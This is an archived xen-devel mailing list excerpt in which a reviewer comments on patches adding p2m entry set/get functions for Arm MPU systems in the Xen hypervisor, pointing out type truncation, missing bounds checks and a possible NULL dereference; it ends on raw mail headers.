> diff --git a/xen/arch/arm/mpu/p2m.c b/xen/arch/arm/mpu/p2m.c
> index ec8f630acd90..4a8595b1b25e 100644
> --- a/xen/arch/arm/mpu/p2m.c
> +++ b/xen/arch/arm/mpu/p2m.c
> @@ -8,12 +8,131 @@
>   #include <xen/sched.h>
>   #include <xen/types.h>
>   #include <asm/p2m.h>
> +#include <asm/mpu.h>
> +
> +static inline unsigned int build_p2m_flags(p2m_type_t t)
> +{
> +    unsigned int flags = 0;
> +
> +    BUILD_BUG_ON(p2m_max_real_type > (1 << 4));
> +
> +    switch ( t )
> +    {
> +    case p2m_ram_rw:
> +        /* Nothing to do, XN=0, RO=0 */
> +        break;
> +
> +    case p2m_ram_ro:
> +        flags |= _PAGE_RO;
> +        break;
> +
> +    case p2m_invalid:
> +        flags |= _PAGE_XN | _PAGE_RO;
> +        break;
> +
> +    case p2m_max_real_type:
> +        BUG();
> +        break;
> +
> +    case p2m_mmio_direct_dev:
> +    case p2m_mmio_direct_nc:
> +    case p2m_mmio_direct_c:
> +    case p2m_iommu_map_ro:
> +    case p2m_iommu_map_rw:
> +    case p2m_map_foreign_ro:
> +    case p2m_map_foreign_rw:
> +    case p2m_grant_map_ro:
> +    case p2m_grant_map_rw:
> +        panic(XENLOG_G_ERR "p2m: UNIMPLEMENTED p2m permission in MPU system\n");
> +        break;
> +    }
> +
> +    flags |= MT_NORMAL;
> +
> +    return flags;
> +}
> +
> +/*
> + * Check whether guest memory region [`sgfn`, `sgfn` + `nr_gfns`) is mapped in
> + * mpumap `table`.
> + *
> + * If the memory region is mapped, `idx` is set to the index of the associated
> + * MPU memory region and 0 is returned.
> + * If the memory region is not mapped, -ENOENT is returned.
> + */
> +static int is_gfns_mapped(pr_t *table, uint8_t nr_regions, gfn_t sgfn,
> +                          unsigned long nr_gfns, uint8_t *idx)
> +{
> +    paddr_t gbase = gfn_to_gaddr(sgfn);
> +    paddr_t glimit = gfn_to_gaddr(gfn_add(sgfn, nr_gfns));
> +    int rc;
> +
> +    rc = mpumap_contains_region(table, nr_regions, gbase, glimit, idx);
> +    if ( MPUMAP_REGION_OVERLAP == rc )
> +        return -EINVAL;
> +
> +    if ( MPUMAP_REGION_NOTFOUND == rc )
> +        return -ENOENT;
> +
> +    return 0;
> +}
> +
> +static int __p2m_set_entry(struct p2m_domain *p2m, gfn_t sgfn, unsigned int nr,
p2m_set_entry takes unsigned long nr and passes it here as unsigned int, so
the count is silently truncated on the way in. Keep the type consistent.
> +                    mfn_t smfn, p2m_type_t t, p2m_access_t a)
> +{
> +    pr_t *table;
> +    mfn_t emfn = mfn_add(smfn, nr);
> +    unsigned int flags;
> +    uint8_t idx = INVALID_REGION_IDX;
> +
> +    /*
> +     * In all cases other than when removing a mapping (mfn == MFN_INVALID),
> +     * gfn == mfn on MPU systems.
> +     */
> +    if ( !mfn_eq(smfn, INVALID_MFN) && gfn_x(sgfn) != mfn_x(smfn) )
> +    {
> +        printk(XENLOG_G_ERR "Unable to map MFN %#"PRI_mfn" at %#"PRI_mfn"\n",
> +               mfn_x(smfn), gfn_x(sgfn));
> +        return -EINVAL;
> +    }
> +
> +    table = (pr_t *)page_to_virt(p2m->root);
> +    if ( !table )
> +        return -EINVAL;
> +
> +    /* Already mapped */
> +    if ( is_gfns_mapped(table, p2m->nr_regions, sgfn, nr, &idx) != -ENOENT )
> +    {
> +        printk(XENLOG_G_ERR "Unable to insert P2M MPU memory region %#"PRIpaddr"-%#"PRIpaddr"\n",
> +               gfn_to_gaddr(sgfn), gfn_to_gaddr(gfn_add(sgfn, nr)));
> +        return -EINVAL;
> +    }
> +
> +    flags = build_p2m_flags(t);
> +    table[p2m->nr_regions] = pr_of_addr(mfn_to_maddr(smfn),
> +                                        mfn_to_maddr(mfn_add(smfn, nr)), flags);
> +    region_set_p2m(&table[p2m->nr_regions], t);
> +    p2m->nr_regions++;
Should we check that against the upperbound MAX_MPU_REGION_NR. And panic 
when it reaches the max , so that an overflow is prevented.
> +
> +    p2m->max_mapped_gfn = gfn_max(p2m->max_mapped_gfn, _gfn(mfn_x(emfn)));
> +    p2m->lowest_mapped_gfn = gfn_min(p2m->lowest_mapped_gfn, _gfn(mfn_x(smfn)));
> +
> +    return 0;
> +}
>   
>   int p2m_set_entry(struct p2m_domain *p2m, gfn_t sgfn, unsigned long nr,
>                     mfn_t smfn, p2m_type_t t, p2m_access_t a)
>   {
> -    BUG_ON("unimplemented");
> -    return -EINVAL;
> +    /*
> +     * Any reference taken by the P2M mappings (e.g. foreign mapping) will
> +     * be dropped in relinquish_p2m_mapping(). As the P2M will still
> +     * be accessible after, we need to prevent mapping to be added when the
> +     * domain is dying.
> +     */
> +    if ( unlikely(p2m->domain->is_dying) )
> +        return -ENOMEM;
> +
> +    return __p2m_set_entry(p2m, sgfn, nr, smfn, t, a);
>   }
>   
>   mfn_t p2m_get_entry(struct p2m_domain *p2m, gfn_t gfn, p2m_type_t *t,
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:09:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 15:09:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359526.1613058 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCrJ-0000Un-Jr; Fri, 10 Jul 2026 15:09:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359526.1613058; Fri, 10 Jul 2026 15:09:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCrJ-0000Ug-Fg; Fri, 10 Jul 2026 15:09:45 +0000
Received: by outflank-mailman (input) for mailman id 1359526;
 Fri, 10 Jul 2026 15:09:44 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiCrH-0000Ua-Sj
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:09:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiCrH-006gD3-67
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:09:43 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510b2f-e002-0a2a0a5209dd-0a2a4502bc18-18
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:09:42 +0200
Received: from [52.101.62.38]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510b35-64c6-0a2a45020019-34653e26b2d9-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:09:42 +0200
Received: from SJ0PR13CA0065.namprd13.prod.outlook.com (2603:10b6:a03:2c4::10)
 by MN2PR12MB4374.namprd12.prod.outlook.com (2603:10b6:208:266::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.14; Fri, 10 Jul
 2026 15:09:34 +0000
Received: from SJ1PEPF00002316.namprd03.prod.outlook.com
 (2603:10b6:a03:2c4:cafe::f9) by SJ0PR13CA0065.outlook.office365.com
 (2603:10b6:a03:2c4::10) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.6 via Frontend Transport; Fri, 10
 Jul 2026 15:09:33 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SJ1PEPF00002316.mail.protection.outlook.com (10.167.242.170) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 15:09:33 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:09:33 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 10:09:31 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=BtK1PSA9doultvH8GZK77Hp4N9k1pAB1cBRBHKDiACQ4LtKfMQ6b/49bpNlE7cL+alqVMy+DzFIKFE6VpdAU6zSvKPqxH9FpWodWr7RppiZbjBJwBDXP2Tcw+4/t2jJ1QzGOgR7cPRlyyP1My/++6twKIZ6NV54IQcfuz8w0ah6FwT30xkz2YRxqJu9DtoB0W2Y65/Q4QQGFcorkj2BM3GOgo5q7fykzcT52UuRw1OCu/cc7zMWYcQPDDcst8ZkTzvoxcoUqkTrZAGydkXG5FEpbtn57qsjjdJb8Pk5KipxEZi4cZDIbv+e9uZY6gXB2FQudx4grOBeEy7Pf9qe4Nw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=FuLyPW4hTBGsN1MYtJS2hUrR49aCSFL3lF3Z3gvRZPE=;
 b=IgOiftABndgE2hDnXauB/t5AWmW/kXv/m5x6UeULLLzaLLyhcZZyk9Cla+vzVAQYGwRyhYRUnoGC6LBSDsXWHr8taUHdTBDp6/298HhSiqbohCtEItIB+etFkyYD4inPSo260FlzH6PKuG5GF86X8c5ym26JkuUsy3rhzuwu1pnjaXQPs0Lt+d2WXTCNBEKsTHZZzy+FdAuD8NgX17V8/5om+rXmnL/6D8AdIbEs9cCaay9Jb4r6mY+IwmKETzvET6dAeXcLae3Abb8ItUSmcoU2gTqbWPIsh7JVYWvV0LfGVnhGFWAOKRCvSD8Fvsbn3pMneiQpevL+VVkyI4e9lA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=FuLyPW4hTBGsN1MYtJS2hUrR49aCSFL3lF3Z3gvRZPE=;
 b=IlhV8o/vcQT9njrpICSCMA0DZKnaSmGKWR7MOuv+Nbx6a88ZQAMtVXN0SqumcVWG4SkgGWa04cVp3SL2WSMNaMNJau6uaRHNDLxQFe9gUAkrNG1kOxy8jNJgxt2sWjgKWCqc0FeH5Feayq8aZqs3FFX6vPTodEVICe3LGL2l3fA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <573d2bd7-542e-4d3f-ac2e-4b03362e35f5@amd.com>
Date: Fri, 10 Jul 2026 16:09:31 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/8] xen/arm: Implement p2m_get_entry for MPU systems
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Penny Zheng <Penny.Zheng@arm.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Wei Chen <wei.chen@arm.com>, "Hari
 Limaye" <hari.limaye@arm.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-3-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-3-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00002316:EE_|MN2PR12MB4374:EE_
X-MS-Office365-Filtering-Correlation-Id: c501c3a0-8663-42aa-8c6b-08dede953fd6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|82310400026|23010399003|36860700016|376014|22082099003|18002099003|56012099006|4143699003|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	oH6Z4LkgASJPWm3ZXPf94tWSPxN1knsLycqUkHqGMLvnMWKO95HAZgx0d4xmYQEgCbD//SDQWITLT5Que07Px0fAqnfWtwmU0DrhMaxMUn2ZSaLGvEtajL6yueyWFoHkglcvCEawsNsmyxN114U1zll3Z0iU+MSM+0HttAEDi3M7NWV3w3sltHicb78XA2/UXXbS8LlMTCraTGPzpFmOegBcN6p0LYlih5sCHhFCOif3OtDir4U0TgX/FpO1KkHpcBF72AbEyudU1yfAoe4evRRtjEA8EE/LoSz0/Co4wvUVnK5DDkrTb1elQavpa2Zlg0oLOpuimKdzd+SY6nS1Yd4u0vQ6v0JpbkNU+stXfG37gXYS1FBRVK3Dg6PIYsuG3oyByopdTO/cWhz91hyR06e2JSnfwicAM3v9KtVxGBennl5gx+Kt04wfbwbck/ldzRqWTd3d8cON2AWnAxv65GOmE5olYU0ZBHgMyX+ZDhPGlihJ+NjwZKHWSgtDucYdmJwPB6tKyazKViYBXKQ+hr00MIrIHZxBEhFFr+ZktB2GFJIhhi70lIQZ1CPjU3vrSYlt2S2E6xWXO3dQwMFK4QcweVCBWsyxXedLXSqM+RIFcB9P+rkXc4wHacPC9bd6ewG72l3jlRb29t9XfgCfAx9CuhwgDnje1rnQyiRYtm3+/ro3uExgE5JhRwx2rWaoVUtqDw/lqIH9LCIF3eJBsw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(82310400026)(23010399003)(36860700016)(376014)(22082099003)(18002099003)(56012099006)(4143699003)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	Yyp2qcp+Em1PyZjS5IEcz0D3vhvsphMsv3euijuyqn/xbYDXWhbh1drlFQTBI86qt49Tl2MVoY6I2x2l2WMbMiQw2tDVxuLAqcrzJlEhT8HdxrOBdJD/QN5eZvyIvpcVdo/wIwpxUY3XQXVsPdPf89ZHxFgaSMqzp2htr2dQeaZrmoya8cuS5Rssop2HJciPXXLhm2pASCk5AIErkPLt8G2Bcu3MZjTbFISt+3Jg3fnDINoOvViJB+nspZCpQ7VAtQG8ep/MNIR/3Ye0nOvsqnMMluitNmfHH6shizv5JI8gGpLq0gnldArlbAA/oU1F8rqODRtdia2swe64NmV8VQELb2fuDDAi9Jjydmw6JE+MeBSYyg+bqwzPODCFWuT3bw7nOftnf8u558t9EHxIsYMv1lYydqsx15O/L4N2LMHgKtMN2ISIe+aWJfMp4ls1
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 15:09:33.5072
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c501c3a0-8663-42aa-8c6b-08dede953fd6
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00002316.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN2PR12MB4374
X-purgate-ID: tlsNG-720697/1783696182-B2158A87-273C7372/0/0
X-purgate-type: clean
X-purgate-size: 4639

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> From: Penny Zheng <Penny.Zheng@arm.com>
>
> Implement the function p2m_get_entry for MPU systems, which is
> responsible for looking up an entry in the p2m table.
>
> Signed-off-by: Penny Zheng <penny.zheng@arm.com>
> Signed-off-by: Wei Chen <wei.chen@arm.com>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> Signed-off-by: Hari Limaye <hari.limaye@arm.com>
> ---
>   xen/arch/arm/include/asm/mpu/p2m.h |  5 ++
>   xen/arch/arm/mpu/p2m.c             | 76 ++++++++++++++++++++++++++++--
>   2 files changed, 77 insertions(+), 4 deletions(-)
>
> diff --git a/xen/arch/arm/include/asm/mpu/p2m.h b/xen/arch/arm/include/asm/mpu/p2m.h
> index b9c7be2d9dcc..d0ec8a77a15a 100644
> --- a/xen/arch/arm/include/asm/mpu/p2m.h
> +++ b/xen/arch/arm/include/asm/mpu/p2m.h
> @@ -31,6 +31,11 @@ static inline p2m_type_t region_get_p2m(pr_t *pr)
>       return pr->p2m_type;
>   }
>   
> +static inline bool region_is_p2m_valid(pr_t *pr)

const pr_t *

As this is just accessed.

> +{
> +    return (pr->p2m_type != p2m_invalid);
> +}
> +
>   #endif /* __ARM_MPU_P2M_H__ */
>   
>   /*
> diff --git a/xen/arch/arm/mpu/p2m.c b/xen/arch/arm/mpu/p2m.c
> index 4a8595b1b25e..681717eacf37 100644
> --- a/xen/arch/arm/mpu/p2m.c
> +++ b/xen/arch/arm/mpu/p2m.c
> @@ -135,11 +135,79 @@ int p2m_set_entry(struct p2m_domain *p2m, gfn_t sgfn, unsigned long nr,
>       return __p2m_set_entry(p2m, sgfn, nr, smfn, t, a);
>   }
>   
> -mfn_t p2m_get_entry(struct p2m_domain *p2m, gfn_t gfn, p2m_type_t *t,
> -                    p2m_access_t *a, unsigned int *page_order, bool *valid)
> +/*
> + * Get the details of guest MPU memory region [gfn, gfn + nr_gfns).
> + *
> + * If the region is mapped, `t` is set to the p2m_type of the region and the
> + * starting MFN is returned.
> + * If the region is not mapped, INVALID_MFN is returned.
> + */
> +static mfn_t p2m_get_mpu_region(struct p2m_domain *p2m, gfn_t gfn,
> +                                unsigned long nr_gfns, p2m_type_t *type,
> +                                bool *valid)
>   {
> -    BUG_ON("unimplemented");
> -    return INVALID_MFN;
> +    pr_t *table = NULL;
> +    pr_t *region = NULL;
> +    uint8_t idx = INVALID_REGION_IDX;
> +    gfn_t egfn = gfn_add(gfn, nr_gfns);
> +    p2m_type_t optional_type = p2m_invalid;
> +    bool optional_valid = false;
> +    mfn_t ret = INVALID_MFN;
> +
> +    ASSERT(p2m_is_locked(p2m));
> +
> +    /*
> +     * Check if the ending gfn is higher than the highest the p2m map
> +     * currently holds, or the starting gfn lower than the lowest it holds.
> +     */
> +    if ( (gfn_x(egfn) > gfn_x(p2m->max_mapped_gfn)) ||
> +         (gfn_x(gfn) < gfn_x(p2m->lowest_mapped_gfn)) )
> +        goto out;
> +
> +    table = (pr_t *)page_to_virt(p2m->root);
> +    /* The table should always be non-NULL and is always present. */
> +    if ( !table )
> +        ASSERT_UNREACHABLE();
> +
> +    if ( is_gfns_mapped(table, p2m->nr_regions, gfn, nr_gfns, &idx) )
> +        goto out;
ASSERT_UNREACHABLE() is a no-op in a release build, so on a NULL table you
fall straight through and dereference it in is_gfns_mapped(). Add a
goto out (as __p2m_set_entry already does with its return -EINVAL).

> +
> +    region = &table[idx];
> +    if ( region_is_p2m_valid(region) )
> +    {
> +        optional_type = region_get_p2m(region);
> +        optional_valid = region_is_valid(region);
> +    }
> +
> +    /* Always GFN == MFN on MPU systems. */
> +    ret = _mfn(gfn_x(gfn));
> +
> +out:
> +    if ( type )
> +        *type = optional_type;
> +
> +    if ( valid )
> +        *valid = optional_valid;
> +
> +    return ret;
> +}
> +
> +/*
> + * Get the details of a given gfn.
> + *
> + * If the entry is present, the associated MFN will be returned and the
> + * p2m type gets filled up.
> + * If the entry is not present, INVALID_MFN will be returned
> + *
> + * The page_order is meaningless in MPU system, and we keep it here
> + * to be compatible with MMU system.
> + */
> +mfn_t p2m_get_entry(struct p2m_domain *p2m, gfn_t gfn,
> +                    p2m_type_t *t, p2m_access_t *a,
> +                    unsigned int *page_order,
> +                    bool *valid)
> +{
> +    return p2m_get_mpu_region(p2m, gfn, 1, t, valid);
The a (p2m_access_t *) out-parameter is never written. A caller that 
passes a
non-NULL a reads stale stack. Either fill it or document why access is not
tracked on MPU.

>   }
>   
>   void p2m_dump_info(struct domain *d)
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:12:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 15:12:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359533.1613067 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCth-0001yI-V0; Fri, 10 Jul 2026 15:12:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359533.1613067; Fri, 10 Jul 2026 15:12:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiCth-0001yB-RL; Fri, 10 Jul 2026 15:12:13 +0000
Received: by outflank-mailman (input) for mailman id 1359533;
 Fri, 10 Jul 2026 15:12:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiCtf-0001y5-Px
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:12:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiCtf-0012C6-6u
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:12:11 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510ba3-5cb7-0a2a0a5109dd-0a2a450ab842-24
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:12:10 +0200
Received: from [40.107.200.37]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a510bc9-ec7d-0a2a450a0019-286bc8259a9f-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:12:10 +0200
Received: from SJ0PR03CA0246.namprd03.prod.outlook.com (2603:10b6:a03:3a0::11)
 by MW3PR12MB4473.namprd12.prod.outlook.com (2603:10b6:303:56::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.14; Fri, 10 Jul
 2026 15:12:04 +0000
Received: from SJ1PEPF00002310.namprd03.prod.outlook.com
 (2603:10b6:a03:3a0:cafe::2d) by SJ0PR03CA0246.outlook.office365.com
 (2603:10b6:a03:3a0::11) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.14 via Frontend Transport; Fri,
 10 Jul 2026 15:12:04 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SJ1PEPF00002310.mail.protection.outlook.com (10.167.242.164) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 15:12:04 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:12:03 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:12:03 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 10:12:01 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KQgoN0yXfYZUxi/bB1dPBiMPq7cHJKVfV7snDvs25rY3utp7jJIMIs9772jb3shTo8N1ijPRGcGTZ6/PyC+izRmxcdqh4KDmgrZJfl31SMtYBJ5MQxHGdTnKA0QEH1oDo6Tx/77rVRTkm2XE1zbaoOIwiL5FpBSUzYaO7qOx9iB0x935LE3Xl+H4vI2njHAjOBuNIBUbNhr3PdADcRXSIkwZJBW2reOzCPMsPjhup7I8lrdLeRyOU1m5hYw7ZijupEioltlqiyXKO4Xkv6kvs8X4SrWWOeSbj4AoZZ/YxfKYqqyEaFKCDv/mvMNEBsQBQ8OUSCbNNEs9snDnquhANA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=cdT2BxK3wpnwb08T2pxSEO8seT4xo5R6LNR6iy+WDnU=;
 b=rosjpeOy0RBfoRdZescx1y+UXW8TrDhgiqw6xOqaUjR7c93+eOj/Z+kfSFErw2NgySn3CquQyBRnaPhSiUUyW6e8HyndkeQZO4CrdS+AhzFZZa1b7T2DVgifn8tz01y4AFOnJU2yOnJ/Ndc/m7jNnn5mwW89nbwA0jxRfnGpxiW8Tn1gWwgHrbkcslk9DDSiPXIXl5XLeX00l8FiaqbHNIlXjukC+XfVk522tCWBqQK0KthBTpup6LhO9blPJOhbugL9dLFRXdGrECZBF1Q4/qILkHjHORrwpFtjylFaSs4lEw+GmWzpqZcpYL2XmxA1+ZQLzSJbxsG1752noSmREQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=cdT2BxK3wpnwb08T2pxSEO8seT4xo5R6LNR6iy+WDnU=;
